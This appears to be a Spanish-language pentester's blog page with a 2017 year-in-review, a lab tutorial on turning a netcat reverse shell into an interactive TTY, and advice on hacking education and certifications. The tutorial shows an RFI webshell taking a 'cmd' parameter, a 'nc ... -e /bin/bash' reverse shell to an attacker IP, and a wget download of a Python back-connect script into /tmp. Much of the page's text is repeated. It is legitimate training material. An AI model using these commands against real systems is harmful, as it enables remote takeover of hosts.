El año 2017, ha sido un buen año en lo profesional, pero también un año que no olvidare en lo personal.
Aun tengo una espina profesional que sacarme pero ya estoy enrrumbado a que de una vez se termine mi calvario de casi un año.
Que dejo el 2017 en lo profesional:
- Una certificación al %90
- Mis skill en hacking aumentaron (aprendí muchas cosas, resolviendo por ejemplo Hack the box y enfrentando a nuevas tecnologias)
- He comenzado con mayor afluencia a realizar analisis de app, las cuales me parecen un gran reto, porque te enfrentas a lo que un desarrollar realiza, desde como informaticamente desea prevenir ataques, hasta como a nivel de funcionalidades propias del app, te permiten obtener informacion o realizar tareas no previstas y también el tema de manejo y ruptura reglas de negocio, quizás un buen año para empezar en estos menesteres.
- He notado mayor compromiso de nuestro Team (Open Sec) a mejorar y colaborar entre nosotros.
- Obtuve un par de trabajos como instructor para empresas internacionales, espero que empecemos el 2018 con fuerza en estos temas.
Que retos par el 2018:
- A principios de año lograr la certificación
- Viajar a BH o Defcon o ekoparty, va ser interesante conocer sobre todo los 2 primeros
- Empezar a estudiar para una certificación como CISSP, algo relacionado temas de gestión.
- Mejorar mi speech no técnico(contra el cliente), me cuesta como a cualquiera que es bastante técnico.
- Empezar con el dictado de cursos internacionalmente
- Meterme a analizar app mas profundamente.
- Comenzar con algún proyecto personal(profesionalmente), aunque esto creo que aun tenga que esperar, pero sera antes del 2020.
- Tener mas post en mi blog
Bueno espero que todo esto se realice y agradezco mucho a mi Team en especial a Oscar Martinez y Walter Cuestas, porque la transmisión de conocimientos ha sido increíble este 2017.
Feliz año a todos.
Happy Hunting!
0pensec rlz!
domingo, 31 de diciembre de 2017
sábado, 30 de diciembre de 2017
SHELL INTERACTIVA
SHELL INTERACTIVA
Escribiendo desde la comodidad de mi casa, un día sabado 30/12/17, no podre decir "descansando", porque ando revisando algunas vulnerabilidades.
Hace 1 mes aprox, estábamos realizados tareas en un proyecto de pentesting, siempre la primera parte de reconocimiento suele ser tediosa y mas aun si los equipos a evaluar son críticos, trabajos de madrugada y horas de horas buscando algo relevante entre las pruebas.
Bueno entre tanta búsqueda y luego llegando a la etapa de escaneo de vulnerabilidades, al realizar el trabajo con herramientas automatizadas, nos arroja un titulo un rojo, la cual en un inicio te da a levantar la mirada y decir bueno a validar que no se trata de un falso positivo.
La alerta que me arrojo era con el siguiente titulo "Oracle WebLogic Java Object Deserialization RCE", interesante, mas que todo por lo que se puede hacer, un muy sugerente RCE(remote control execution). algo general para entender la vulnerabilidad: la "serialization" y "deserialization", es el proceso donde la data pasa a binario y viceversa, y esta vulnerabilidad se da por que una de las librerías en el proceso de reconversión (deserializar) no valida adecuadamente la entrada, dando posibilidad a un atacante de insertar código bien intencionado (lo digo para bien del atacante :D).
Entonces pasamos esas fechas y llegamos a la etapa de comprobación donde buscando alguna fuentes de exploit públicos, nos topamos con una que realizaba esta tarea de inyección de código remoto y boila, teníamos la shell a través de una conexión reversa. Al obtener esto tipo de shell, sea a través de una webshell o algún exploit que genere conexión reversa , se suele tener una consola que no es de gran ayuda, es decir no puedes realizar con facilidad el uso de atajos que trae una consola sea de linux o de windows.
Para tener mejor idea vamos a las pruebas.
ESQUEMA DE LABORATORIO
Tenemos una aplicación que se permite insertar un Remote File Inclusion (RFI)
Tener en cuenta lo siguiente:
IP ATACANTE:192.168.0.115
IP VICTIMA:192.168.0.110
1) Para los que se olvidaron que es RFI, en un parámetro del sistema, podemos insertar una ruta hacia un servidor remoto, en el cual estará esperando una "webshell". El sistema permite interpretar esta webshell y ejecutar comando en el sistema vulnerado.
7) Ahora les reto a que uds me indiquen que paso :D.
Hasta una próxima entrada.
La alerta que me arrojo era con el siguiente titulo "Oracle WebLogic Java Object Deserialization RCE", interesante, mas que todo por lo que se puede hacer, un muy sugerente RCE(remote control execution). algo general para entender la vulnerabilidad: la "serialization" y "deserialization", es el proceso donde la data pasa a binario y viceversa, y esta vulnerabilidad se da por que una de las librerías en el proceso de reconversión (deserializar) no valida adecuadamente la entrada, dando posibilidad a un atacante de insertar código bien intencionado (lo digo para bien del atacante :D).
Entonces pasamos esas fechas y llegamos a la etapa de comprobación donde buscando alguna fuentes de exploit públicos, nos topamos con una que realizaba esta tarea de inyección de código remoto y boila, teníamos la shell a través de una conexión reversa. Al obtener esto tipo de shell, sea a través de una webshell o algún exploit que genere conexión reversa , se suele tener una consola que no es de gran ayuda, es decir no puedes realizar con facilidad el uso de atajos que trae una consola sea de linux o de windows.
Para tener mejor idea vamos a las pruebas.
ESQUEMA DE LABORATORIO
Tenemos una aplicación que se permite insertar un Remote File Inclusion (RFI)
Tener en cuenta lo siguiente:
IP ATACANTE:192.168.0.115
IP VICTIMA:192.168.0.110
1) Para los que se olvidaron que es RFI, en un parámetro del sistema, podemos insertar una ruta hacia un servidor remoto, en el cual estará esperando una "webshell". El sistema permite interpretar esta webshell y ejecutar comando en el sistema vulnerado.
vista del contenido de una webshell, ejecutamos ese archivo y agregamos un parámetro "cmd", para ejecución de comando en sistema
2) En el servidor del atacante, mediante el uso de un demonio web, ponemos el archivo y ejecutamos remotamente, y en el parametro "cmd", ejecutamos un "ls" --> listeo
3)Ya despues de la prueba de concepto, realizamos una "shell reversa" para tomar control del dispositivo mediante el uso de "netcat"
- El atacante: nc -lvp 4444
- La victima: nc <ip del atacante> -e /bin/bash
Shell reversa en victima
Puerto en escucha del atacante
4) obtenemos una shell con el usuario www-data, grupo www-data, pero aca les reto a realizar tareas como autocompletado, verán que es no resulta, entonces en este punto es donde podriamos tener en cuenta el uso de una "shell interactiva" para mayor comodidad
5) Antes de ir a ese punto, realizamos un pty( utilidades en speudo terminal) reverse shell en python, para no entrar en mayores detalles:
Llegamos a ver la consola original, pero aun si los atajos
6) Ahora salimos de la consola con "ctrl"+"z" y realizamos en siguiente comando:
donde:
stty = nuestra o cambia la caracteristicas del terminal
raw = las salidas y entradas no son procesadas, solo se envian, no te permite salir con "ctrl +c " por ejemplo.
-echo = deshabilitas el uso de entrada de caracteres en echo
fg = reunadas trabajos suspendidos
7) De esta forma, podemos tener una shell interactiva, hagan la prueba.
Podemos hacer las cosas mas simples, si, podemos realizar los mismo con python veamos:
1) podemos descargar del siguiente enlace lo siguiente:
https://github.com/infodox/python-pty-shells
2)Ahora modificamos el archivo "tcp_pty_backconnect.py", con la ip y puerto del atacante.
3) luego en la victima subimos el archivo "tcp_pty_backconnect.py" puede ser en el directorio "/tmp/" o en el directorio "/dev/shm" que ambos me permiten ejecución.
Con wget descargo el archivo remotamente desde el atacante y lo renombro el archivo ".back.py"
4) luego en el atacante ejecutamos el archivo "tcp_pty_shell_handler.py":
python tcp_pty_shell_handler.py -b <ip atacante:puerto>
5) Y luego en el servidor remoto ejecutemos con python el archivo ".back.py"
Hasta una próxima entrada.
lunes, 13 de noviembre de 2017
¿Donde estudiar hacking?
Ante tanto afán de "n" institutos virtuales y reales por tener en su currícula los cursos famosos como "ethical hacking" o "seguridad ofensiva" , "Cyberseguridad ofensiva", "carrera de cyberseguridad" etc etc, que al final en algunos casos quieren decir lo mismo.
Creo que muchos se preguntan por donde debo comenzar, donde puedo estudiar y que debo conocer.
Leyendo algunos interesantes artículos me encontré con uno en particular, que ciertamente es claro y conciso. Debo mencionar que no es de mi autoría, pero de tanto buscar en español y de tanta discución, me parece el camino correcto a decidir por algún curso, sea por internet o en modo presencial:¿Donde debo estudiar para ser un hacker?No existe alguna academia o centro de estudios que te preparen para serlo, como siempre he repetido, 4 cosas importantes: persistencia, curiosidad, disciplina y ser autodidacta al %99.999, si no tienes esas cualidades dedicate a otra cosa.
¿Entonces no debo estudiar nada profesional?Pues no, es muy importante afianzar tus conocimientos con bases, tener alguna carrera a fin, el cual te pueda ayudar a entender criterios básicos de la informática.
¿Que carreras?Quizas las carreras mas relacionadas son ingeniera informática y ciencias de la computación, pero tampoco estudiar estas carreras te garantizan que realmente tengas buenos fundamentos, ya que depende realmente tu disposición a aplicar, practicar y por consecuencia llegar a entender ciertos criterios elementales, por otro lado también existen carreras técnicas que tienen mallas bien estructuradas que te dan alcance a conocimientos “básicos” de informática.
¿Que debo conocer ?
La verdad esta pregunta puede ser muy compleja, ya que el denominativo de “hacker” no solo se centra en ser un programador y menos uno bueno, ser hacker realmente puede ser dominar algún sistema que tenga alguna lógica o mecanismo de funcionamiento sea física o digital de ahi la proveniencia en su terminología.
¿Entonces no debo ser programador?
Si en parte, pero eso no quita a poder “entender la lógica de los algoritmos”, ya sea en programación basado en objetos o en algo tan crudo como el assembler y sobre todo tener “el perfil de un desarrollador”.
¿Que deseo ser?
Si quieres realmente verlo desde perfil PROFESIONAL, acá debo aclarar antes algunas cosas:
Preguntas clásicas de los “Script-kiddies o niños ratas” : ¿como hackeo el facebook?¿como hackeo el correo?¿como entro al wifi del vecino?
Preguntas o afirmaciones de un delincuente informático:”¿Donde encuentro base de datos de tal sitio?”, ¿alguien que me hackee tal cuenta ...?, desde el perfil atacante(delicuente medio profesional):¡Quiero adquirir servicios para una botnet!, Necesito algún crypter o packer para mi malware, ¿encoders para tal entrada en raw de mi BO? etc.
Preguntas de researcher o investigador:”problemas con el error … en mi Line code ...”, ¿Como hago un reversing a tal o cual infraestructura?¿Problemas con la modificación del exploit …..? ¿Como realizar un analisis dinámico o estático a tal malware? etc
Preguntas de alguien que pretende ser profesional: ¿Donde encuentro una metodologías para realizar un pentesting?¿Que certificaciones necesito?¿Si llevo un curso de hacking etico de que me debo asegurar?
Sujetándome a la ultima pregunta:
¿Si quiero ser profesional EH, que certificaciones debo tener?En Peru y gran parte de latinoamerica solo pesan las siguientes certificaciones: mile2 http://mile2.com/ , las de eccouncil https://www.eccouncil.org/ , las de Sans institute https://www.sans.org/course/network-penetration-testing-ethical-hacking y las de OF https://www.offensive-security.com/...cp-offensive-security-certified-professional/ , NO MAS.
Certificaciones como ITIL, COBIT, ISC2(CISSP), ISACA(CISA,CISM etc), auditor ISO 27001 u los otros modelos de EVALUACION DE SEGURIDAD DE LA INFORMACION, solo sirven como métricas y son destinados a ser auditores en gestión y administracion(los de saco y corbata que les gusta redactar o discutir horas de horas , si tal política de seguridad llego a mitigar el riesgo X).
Creo que muchos se preguntan por donde debo comenzar, donde puedo estudiar y que debo conocer.
Leyendo algunos interesantes artículos me encontré con uno en particular, que ciertamente es claro y conciso. Debo mencionar que no es de mi autoría, pero de tanto buscar en español y de tanta discución, me parece el camino correcto a decidir por algún curso, sea por internet o en modo presencial:¿Donde debo estudiar para ser un hacker?No existe alguna academia o centro de estudios que te preparen para serlo, como siempre he repetido, 4 cosas importantes: persistencia, curiosidad, disciplina y ser autodidacta al %99.999, si no tienes esas cualidades dedicate a otra cosa.
¿Entonces no debo estudiar nada profesional?Pues no, es muy importante afianzar tus conocimientos con bases, tener alguna carrera a fin, el cual te pueda ayudar a entender criterios básicos de la informática.
¿Que carreras?Quizas las carreras mas relacionadas son ingeniera informática y ciencias de la computación, pero tampoco estudiar estas carreras te garantizan que realmente tengas buenos fundamentos, ya que depende realmente tu disposición a aplicar, practicar y por consecuencia llegar a entender ciertos criterios elementales, por otro lado también existen carreras técnicas que tienen mallas bien estructuradas que te dan alcance a conocimientos “básicos” de informática.
¿Que debo conocer ?
La verdad esta pregunta puede ser muy compleja, ya que el denominativo de “hacker” no solo se centra en ser un programador y menos uno bueno, ser hacker realmente puede ser dominar algún sistema que tenga alguna lógica o mecanismo de funcionamiento sea física o digital de ahi la proveniencia en su terminología.
¿Entonces no debo ser programador?
Si en parte, pero eso no quita a poder “entender la lógica de los algoritmos”, ya sea en programación basado en objetos o en algo tan crudo como el assembler y sobre todo tener “el perfil de un desarrollador”.
¿Que deseo ser?
Si quieres realmente verlo desde perfil PROFESIONAL, acá debo aclarar antes algunas cosas:
Preguntas clásicas de los “Script-kiddies o niños ratas” : ¿como hackeo el facebook?¿como hackeo el correo?¿como entro al wifi del vecino?
Preguntas o afirmaciones de un delincuente informático:”¿Donde encuentro base de datos de tal sitio?”, ¿alguien que me hackee tal cuenta ...?, desde el perfil atacante(delicuente medio profesional):¡Quiero adquirir servicios para una botnet!, Necesito algún crypter o packer para mi malware, ¿encoders para tal entrada en raw de mi BO? etc.
Preguntas de researcher o investigador:”problemas con el error … en mi Line code ...”, ¿Como hago un reversing a tal o cual infraestructura?¿Problemas con la modificación del exploit …..? ¿Como realizar un analisis dinámico o estático a tal malware? etc
Preguntas de alguien que pretende ser profesional: ¿Donde encuentro una metodologías para realizar un pentesting?¿Que certificaciones necesito?¿Si llevo un curso de hacking etico de que me debo asegurar?
Sujetándome a la ultima pregunta:
¿Si quiero ser profesional EH, que certificaciones debo tener?En Peru y gran parte de latinoamerica solo pesan las siguientes certificaciones: mile2 http://mile2.com/ , las de eccouncil https://www.eccouncil.org/ , las de Sans institute https://www.sans.org/course/network-penetration-testing-ethical-hacking y las de OF https://www.offensive-security.com/...cp-offensive-security-certified-professional/ , NO MAS.
Certificaciones como ITIL, COBIT, ISC2(CISSP), ISACA(CISA,CISM etc), auditor ISO 27001 u los otros modelos de EVALUACION DE SEGURIDAD DE LA INFORMACION, solo sirven como métricas y son destinados a ser auditores en gestión y administracion(los de saco y corbata que les gusta redactar o discutir horas de horas , si tal política de seguridad llego a mitigar el riesgo X).
¿Si deseo ser profesional EH, donde puedo estudiar?
Ya basado en la anterior pregunta, mi primera mirada seria en el docente:
1)Que tenga las certificaciones validas en el tema, en el Peru, existe tanto charlatan de saco y corbata.
2)Que tenga experiencia laboral en “pentesting” , son pocas las empresas peruanas que se dedican a este rubro así que por ahí quizás sea difícil, alguna mirada al linkedin les pueda dar una pequeña ayuda.
3)Que haya sido expositor en eventos nacionales e internacionales de HACKING, algunos eventos en Peru importantes: Peruhack, Limahack(extinto), Inkahack(nuevo pero creo que los organizadores han tenido buena disposición), owasp chapter peru , de ahí sinceramente técnicos técnicos, no existen mas.
En eventos internacionales en América, Ekoparty, Campus Party, Besides international, Dragonjar, (por los años, mas no por los organizadores), 8dot8.
Eventos internacional(top): defcon, Blackhat, rootcon
Y que la institución, que lo auspicia no sea “leticia” o alguna entidad estatal.Lamentablemente el estado no organiza ningún evento de nivel o significativo que de valor al ser parte de ello, por otro lado, existe empresas que se ofertan como conocedores del tema, muchas de ellas internacionales y de nombres los cuales se ganaron con el tiempo, mas no por la calidad de lo que ofrecen, ya que su labor real es ofrecer solo cursos y auspiciar sus propios eventos.
¿Si me certifico en CEH y CPTE, ya soy un hacker?No, en ambas certificaciones el examen son un conjunto de preguntas, que las encuentras en internet y crees que resolviendo preguntas puedes ser un hacker( vuelve a mi primera pregunta/respuesta).
Para mi la mas cercaba a un ámbito real de hacking es la OSCP (los mismos creadores de backtrack y kali), 5 servidores en tal o cual red o subred, hackealos, excelente examen, como debe ser 100% practico y con cierto nivel de complejidad.
Algunos consejos finales(sacados de un blog bastante bueno):
1. Debes aprender Linux, no puedes ser hacker usando solo MS Windows, no seas payaso!
2. Debes aprender Ingles, al menos, de lo contrario, como diablos siquiera leerás un readme ?! Menos pensar en modificar la tool o crear una.
3. Debes tener perfil de desarrollador para llegar a un nivel alto, de lo contrario, estarás limitado a ser un buen profesional (osea, hoy haces hacking, mañana instalas un firewall, pasado eres un gerente sin memoria técnica).
4. Debes leer mucho.
5. Debes investigar mucho.
6. No debes tener horario de oficina.
7. Penetrar no es meterse a un server, es meterse a todos los que puedas incluido el que esta apagado! (medio broma, fácil es un server con wake-on-lan).
8. Debes saber mas que tus toolz.
9. Tus toolz son necesarias, aprende a usarlas bien, cuidalas, quieralas, mejoralas, mandalas al asilo cuando creas que ya son viejas (algún día las podrás recoger para darles un paseito).
10. Aceptalo: tendrás que trabajar en equipo!
Ya basado en la anterior pregunta, mi primera mirada seria en el docente:
1)Que tenga las certificaciones validas en el tema, en el Peru, existe tanto charlatan de saco y corbata.
2)Que tenga experiencia laboral en “pentesting” , son pocas las empresas peruanas que se dedican a este rubro así que por ahí quizás sea difícil, alguna mirada al linkedin les pueda dar una pequeña ayuda.
3)Que haya sido expositor en eventos nacionales e internacionales de HACKING, algunos eventos en Peru importantes: Peruhack, Limahack(extinto), Inkahack(nuevo pero creo que los organizadores han tenido buena disposición), owasp chapter peru , de ahí sinceramente técnicos técnicos, no existen mas.
En eventos internacionales en América, Ekoparty, Campus Party, Besides international, Dragonjar, (por los años, mas no por los organizadores), 8dot8.
Eventos internacional(top): defcon, Blackhat, rootcon
Y que la institución, que lo auspicia no sea “leticia” o alguna entidad estatal.Lamentablemente el estado no organiza ningún evento de nivel o significativo que de valor al ser parte de ello, por otro lado, existe empresas que se ofertan como conocedores del tema, muchas de ellas internacionales y de nombres los cuales se ganaron con el tiempo, mas no por la calidad de lo que ofrecen, ya que su labor real es ofrecer solo cursos y auspiciar sus propios eventos.
¿Si me certifico en CEH y CPTE, ya soy un hacker?No, en ambas certificaciones el examen son un conjunto de preguntas, que las encuentras en internet y crees que resolviendo preguntas puedes ser un hacker( vuelve a mi primera pregunta/respuesta).
Para mi la mas cercaba a un ámbito real de hacking es la OSCP (los mismos creadores de backtrack y kali), 5 servidores en tal o cual red o subred, hackealos, excelente examen, como debe ser 100% practico y con cierto nivel de complejidad.
Algunos consejos finales(sacados de un blog bastante bueno):
1. Debes aprender Linux, no puedes ser hacker usando solo MS Windows, no seas payaso!
2. Debes aprender Ingles, al menos, de lo contrario, como diablos siquiera leerás un readme ?! Menos pensar en modificar la tool o crear una.
3. Debes tener perfil de desarrollador para llegar a un nivel alto, de lo contrario, estarás limitado a ser un buen profesional (osea, hoy haces hacking, mañana instalas un firewall, pasado eres un gerente sin memoria técnica).
4. Debes leer mucho.
5. Debes investigar mucho.
6. No debes tener horario de oficina.
7. Penetrar no es meterse a un server, es meterse a todos los que puedas incluido el que esta apagado! (medio broma, fácil es un server con wake-on-lan).
8. Debes saber mas que tus toolz.
9. Tus toolz son necesarias, aprende a usarlas bien, cuidalas, quieralas, mejoralas, mandalas al asilo cuando creas que ya son viejas (algún día las podrás recoger para darles un paseito).
10. Aceptalo: tendrás que trabajar en equipo!
Suscribirse a:
Entradas (Atom)